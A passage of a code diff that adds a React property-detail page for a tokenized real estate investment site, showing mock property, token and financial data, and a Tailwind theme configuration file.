45+ tokenSymbol: 'VILLA425',
46+ contractAddress: '0x1234...5678',
47+ blockchain: 'Ethereum'
48+ },
49+ financials: {
50+ grossRent: '$8,500/month',
51+ netRent: '$7,225/month',
52+ expenses: {
53+ management: '8%',
54+ maintenance: '5%',
55+ insurance: '2%',
56+ property_tax: '1.2%'
57+ },
58+ projectedAppreciation: '4.5% annually'
59+ },
60+ yearBuilt: 2020,
61+ parkingSpaces: 3,
62+ lotSize: '0.5 acres',
63+ images: [
64+ 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80',
65+ 'https://images.unsplash.com/photo-1512917774080-9991f1c4c750?w=800&q=80',
66+ 'https://images.unsplash.com/photo-1613490493576-7fde63acd811?w=800&q=80'
67+ ],
68+ agent: {
69+ name: 'John Doe',
70+ phone: '+1 (555) 123-4567',
71+ email: 'john@realestate.com',
72+ image: 'https://images.unsplash.com/photo-1472099645785-5658abf4ff4e?w=400&q=80'
73+ }
74+ };
75+
76+ const shareUrl = window.location.href;
77+
78+ return (
79+ <div className="min-h-screen bg-secondary-50">
80+ {/* Navigation */}
81+ <div className="bg-white shadow">
82+ <div className="container py-4">
83+ <div className="flex items-center space-x-2 text-sm">
84+ <Link to="/" className="text-secondary-600 hover:text-primary-600">Home</Link>
85+ <span className="text-secondary-400">/</span>
86+ <Link to="/properties" className="text-secondary-600 hover:text-primary-600">Properties</Link>
87+ <span className="text-secondary-400">/</span>
88+ <span className="text-primary-600">{property.title}</span>
89+ </div>
90+ </div>
91+ </div>
92+
93+ {/* Main Content */}
94+ <div className="container py-8">
95+ <div className="grid grid-cols-1 lg:grid-cols-3 gap-8">
96+ {/* Left Column */}
97+ <div className="lg:col-span-2 space-y-8">
98+ {/* Image Gallery */}
99+ <motion.div
100+ initial={{ opacity: 0, y: 20 }}
101+ animate={{ opacity: 1, y: 0 }}
102+ className="space-y-4"
103+ >
104+ <div className="h-96 rounded-lg overflow-hidden">
105+ <img
106+ src={property.images[0]}
107+ alt={property.title}
108+ className="w-full h-full object-cover"
109+ />
110+ </div>
111+ <div className="grid grid-cols-3 gap-4">
112+ {property.images.slice(1).map((image, index) => (
113+ <div key={index} className="h-32 rounded-lg overflow-hidden">
114+ <img
115+ src={image}
116+ alt={`${property.title} - ${index + 1}`}
117+ className="w-full h-full object-cover"
118+ />
119+ </div>
120+ ))}
121+ </div>
122+ </motion.div>
123+
124+ {/* Property Details */}
125+ <motion.div
126+ initial={{ opacity: 0, y: 20 }}
127+ animate={{ opacity: 1, y: 0 }}
128+ transition={{ delay: 0.2 }}
129+ className="bg-white rounded-lg shadow-md p-6"
130+ >
131+ <h2 className="text-2xl font-bold mb-4">Property Details</h2>
132+ <p className="text-secondary-600 mb-6">{property.description}</p>
133+
134+ <div className="grid grid-cols-2 md:grid-cols-4 gap-4 mb-6">
135+ <div className="flex items-center space-x-2">
136+ {/* <FiBed className="text-primary-600" /> */}
137+ <span>{property.parkingSpaces} Parking</span>
138+ </div>
139+ <div className="flex items-center space-x-2">
140+ <FiMaximize2 className="text-primary-600" />
141+ <span>{property.lotSize}</span>
142+ </div>
143+ <div className="flex items-center space-x-2">
144+ <FiCalendar className="text-primary-600" />
145+ <span>Built {property.yearBuilt}</span>
146+ </div>
147+ <div className="flex items-center space-x-2">
148+ <FiUsers className="text-primary-600" />
149+ <span>{property.metrics.totalInvestors} Investors</span>
150+ </div>
151+ </div>
152+
153+ <h3 className="text-xl font-semibold mb-4">Features</h3>
154+ <div className="grid grid-cols-2 md:grid-cols-3 gap-4 mb-6">
155+ {property.features.map((feature, index) => (
156+ <div key={index} className="flex items-center space-x-2">
157+ <FiHome className="text-primary-600" />
158+ <span>{feature}</span>
159+ </div>
160+ ))}
161+ </div>
162+
163+ {/* Token Details */}
164+ <h3 className="text-xl font-semibold mb-4">Token Information</h3>
165+ <div className="bg-secondary-50 rounded-lg p-6 mb-6">
166+ <div className="grid grid-cols-2 gap-4">
167+ <div>
168+ <p className="text-sm text-secondary-600">Token Symbol</p>
169+ <p className="font-semibold">{property.tokenDetails.tokenSymbol}</p>
170+ </div>
171+ <div>
172+ <p className="text-sm text-secondary-600">Token Price</p>
173+ <p className="font-semibold">{property.tokenDetails.tokenPrice}</p>
174+ </div>
175+ <div>
176+ <p className="text-sm text-secondary-600">Available Tokens</p>
177+ <p className="font-semibold">{property.tokenDetails.availableTokens.toLocaleString()}</p>
178+ </div>
179+ <div>
180+ <p className="text-sm text-secondary-600">Total Supply</p>
181+ <p className="font-semibold">{property.tokenDetails.totalTokens.toLocaleString()}</p>
182+ </div>
183+ <div className="col-span-2">
184+ <p className="text-sm text-secondary-600">Smart Contract</p>
185+ <p className="font-mono text-sm">{property.tokenDetails.contractAddress}</p>
186+ </div>
187+ </div>
188+ </div>
189+
190+ {/* Financial Details */}
191+ <h3 className="text-xl font-semibold mb-4">Financial Overview</h3>
192+ <div className="grid grid-cols-1 md:grid-cols-2 gap-6">
193+ <div className="bg-secondary-50 rounded-lg p-6">
194+ <h4 className="font-semibold mb-4">Rental Income</h4>
195+ <div className="space-y-2">
196+ <div className="flex justify-between">
197+ <span className="text-secondary-600">Gross Rent</span>
198+ <span className="font-medium">{property.financials.grossRent}</span>
199+ </div>
200+ <div className="flex justify-between">
201+ <span className="text-secondary-600">Net Rent</span>
202+ <span className="font-medium">{property.financials.netRent}</span>
203+ </div>
204+ </div>
205+ </div>
206+ <div className="bg-secondary-50 rounded-lg p-6">
207+ <h4 className="font-semibold mb-4">Expenses</h4>
208+ <div className="space-y-2">
209+ {Object.entries(property.financials.expenses).map(([key, value]) => (
210+ <div key={key} className="flex justify-between">
211+ <span className="text-secondary-600">{key.replace('_', ' ').charAt(0).toUpperCase() + key.slice(1)}</span>
212+ <span className="font-medium">{value}</span>
213+ </div>
214+ ))}
215+ </div>
216+ </div>
217+ </div>
218+ </motion.div>
219+ </div>
220+
221+ {/* Right Column */}
222+ <motion.div
223+ initial={{ opacity: 0, x: 20 }}
224+ animate={{ opacity: 1, x: 0 }}
225+ transition={{ delay: 0.2 }}
226+ className="space-y-6"
227+ >
228+ {/* Investment Card */}
229+ <div className="bg-white rounded-lg shadow-md p-6">
230+ <div className="flex justify-between items-center mb-4">
231+ <div>
232+ <p className="text-sm text-secondary-500">Investment Price</p>
233+ <div className="flex items-center">
234+ <FiDollarSign className="text-primary-600" />
235+ <span className="text-2xl font-bold">${property.price.usd.toLocaleString()}</span>
236+ </div>
237+ <div className="flex items-center text-primary-600">
238+ <FaEthereum className="mr-1" />
239+ <span>{property.price.eth} ETH</span>
240+ </div>
241+ </div>
242+ <div className="text-right">
243+ <p className="text-sm text-secondary-500">Annual ROI</p>
244+ <div className="flex items-center justify-end text-green-600">
245+ <FiTrendingUp className="mr-1" />
246+ <span className="text-2xl font-bold">{property.roi}</span>
247+ </div>
248+ </div>
249+ </div>
250+
251+ {/* Investment Metrics */}
252+ <div className="space-y-3 mb-6">
253+ <div className="flex justify-between">
254+ <span className="text-secondary-600">Rental Yield</span>
255+ <span className="font-medium">{property.metrics.rentalYield}</span>
256+ </div>
257+ <div className="flex justify-between">
258+ <span className="text-secondary-600">Appreciation</span>
259+ <span className="font-medium">{property.metrics.appreciation}</span>
260+ </div>
261+ <div className="flex justify-between">
262+ <span className="text-secondary-600">Total Return</span>
263+ <span className="font-medium text-green-600">{property.metrics.totalReturn}</span>
264+ </div>
265+ </div>
266+
267+ {/* Funding Progress */}
268+ <div className="mb-6">
269+ <div className="flex justify-between text-sm mb-1">
270+ <span className="text-secondary-600">Funding Progress</span>
271+ <span className="font-medium">{property.metrics.funded}</span>
272+ </div>
273+ <div className="w-full bg-secondary-100 rounded-full h-2">
274+ <div
275+ className="bg-primary-600 h-2 rounded-full"
276+ style={{ width: property.metrics.funded }}
277+ />
278+ </div>
279+ <p className="text-sm text-secondary-500 mt-1">
280+ Min Investment: {property.metrics.minInvestment}
281+ </p>
282+ </div>
283+
284+ <Link
285+ to={`/property-3d/${id}`}
286+ className="btn w-full mb-4 flex items-center justify-center">
287+ <FiGrid className="mr-2" />
288+ View 3D Model
289+ </Link>
290+
291+ <button className="btn w-full mb-4 flex items-center justify-center">
292+ <FaWallet className="mr-2" />
293+ Connect Wallet to Invest
294+ </button>
295+
296+ <div className="flex items-center justify-center space-x-4 pt-4 border-t">
297+ <FacebookShareButton url={shareUrl}>
298+ <FaFacebook className="text-2xl text-blue-600 hover:opacity-80" />
299+ </FacebookShareButton>
300+ <TwitterShareButton url={shareUrl}>
301+ <FaTwitter className="text-2xl text-sky-500 hover:opacity-80" />
302+ </TwitterShareButton>
303+ <LinkedinShareButton url={shareUrl}>
304+ <FaLinkedin className="text-2xl text-blue-700 hover:opacity-80" />
305+ </LinkedinShareButton>
306+ </div>
307+ </div>
308+
309+ {/* Agent Card */}
310+ <div className="bg-white rounded-lg shadow-md p-6">
311+ <div className="flex items-center space-x-4 mb-4">
312+ <img
313+ src={property.agent.image}
314+ alt={property.agent.name}
315+ className="w-16 h-16 rounded-full object-cover"
316+ />
317+ <div>
318+ <h3 className="font-semibold">{property.agent.name}</h3>
319+ <p className="text-sm text-secondary-600">Investment Advisor</p>
320+ </div>
321+ </div>
322+ <div className="space-y-2">
323+ <p className="text-sm">
324+ <span className="font-medium">Phone:</span> {property.agent.phone}
325+ </p>
326+ <p className="text-sm">
327+ <span className="font-medium">Email:</span> {property.agent.email}
328+ </p>
329+ </div>
330+ <button className="btn-secondary w-full mt-4">
331+ Schedule Consultation
332+ </button>
333+ </div>
334+ </motion.div>
335+ </div>
336+ </div>
337+ </div>
338+ );
339+}
340+
341+export default PropertyDetail;
+93-0tailwind.config.js
@@ -0,0 +1,93 @@
1+export default {
2+ content: [
3+ "./index.html",
4+ "./src/**/*.{js,jsx}"
5+ ],
6+ theme: {
7+ extend: {
8+ colors: {
9+ primary: {
10+ 50: '#f6f9fd',
11+ 100: '#eaf0fa',
12+ 200: '#cddbfa',
13+ 300: '#a9c4ef',
14+ 400: '#5887d9',
15+ 500: '#2660d3',
16+ 600: '#1b4d9f',
17+ 700: '#173b76',
18+ 800: '#102349',
19+ 900: '#0a1a34'
20+ },
21+ secondary: {
22+ 50: '#f3f5f9',
23+ 100: '#ebeef3',
24+ 200: '#e0e2e7',
25+ 300: '#ced0d7',
26+ 400: '#aeb4be',
27+ 500: '#7b848e',
28+ 600: '#5d6670',
29+ 700: '#484e57',
30+ 800: '#383c41',
31+ 900: '#22232a'
32+ },
33+ sapphire: {
34+ 50: '#f6f9fd',
35+ 100: '#eaf0fa',
36+ 200: '#cddbfa',
37+ 300: '#a9c4ef',
38+ 400: '#5887d9',
39+ 500: '#2660d3',
40+ 600: '#1b4d9f',
41+ 700: '#173b76',
42+ 800: '#102349',
43+ 900: '#0a1a34'
44+ },
45+ platinum: {
46+ 50: '#f3f5f9',
47+ 100: '#ebeef3',
48+ 200: '#e0e2e7',
49+ 300: '#ced0d7',
50+ 400: '#aeb4be',
51+ 500: '#7b848e',
52+ 600: '#5d6670',
53+ 700: '#484e57',
54+ 800: '#383c41',
55+ 900: '#22232a'
56+ },
57+ },
58+ fontFamily: {
59+ sans: ['Inter', 'Montserrat', 'sans-serif'],
60+ },
61+ boxShadow: {
62+ luxe: '0 4px 32px 0 rgba(38,96,211,0.12)',
63+ 'glass': '0 8px 32px 0 rgba(38, 96, 211, 0.15)',
64+ 'glass-lg': '0 25px 50px -12px rgba(38, 96, 211, 0.25)',
65+ 'glass-xl': '0 35px 60px -12px rgba(38, 96, 211, 0.35)',
66+ },
67+ borderRadius: {
68+ xl: '1.5rem',
69+ '2xl': '2rem',
70+ '3xl': '3rem',
71+ },
72+ backdropBlur: {
73+ xs: '2px',
74+ sm: '4px',
75+ md: '8px',
76+ lg: '12px',
77+ xl: '16px',
78+ '2xl': '24px',
79+ '3xl': '32px',
80+ },
81+ backgroundColor: {
82+ 'glass': 'rgba(255, 255, 255, 0.25)',
83+ 'glass-dark': 'rgba(255, 255, 255, 0.1)',
84+ 'glass-light': 'rgba(255, 255, 255, 0.4)',
85+ },
86+ borderColor: {
87+ 'glass': 'rgba(255, 255, 255, 0.18)',
88+ 'glass-dark': 'rgba(255, 255, 255, 0.1)',
89+ },
90+ },
91+ },
92+ plugins: [],
93+}